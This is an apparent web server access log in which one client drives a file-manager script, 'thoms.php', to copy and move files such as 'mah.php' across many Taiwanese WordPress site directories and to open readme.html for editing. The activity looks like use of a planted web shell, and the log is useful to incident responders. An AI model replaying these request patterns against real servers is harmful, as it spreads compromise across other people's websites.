45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21792 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 200 11334 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21791 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21791 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 200 11338 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fcgi-bin&upload= HTTP/1.1" 200 12177 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fcgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /big-wife.com.tw/cgi-bin HTTP/1.1" 301 795 "http://163.245.207.76:443/big-wife.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fcgi-bin&settings=1 HTTP/1.1" 200 11925 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fcgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /big-wife.com.tw/cgi-bin/ HTTP/1.1" 200 692 "https://163.245.207.76:443/big-wife.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11856 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p= HTTP/1.1" 200 12271 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17374 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17463 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17624 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 200 12281 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11330 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11397 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:56 -0400] "GET /thoms.php?edit=readme.html&p=big-wife.com.tw HTTP/1.1" 200 14984 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17622 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=big-wife.com.tw HTTP/1.1" 200 18612 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21796 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=wp-content HTTP/1.1" 200 11388 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21794 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=upgrade HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=wp-content-20260912023544 HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21793 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
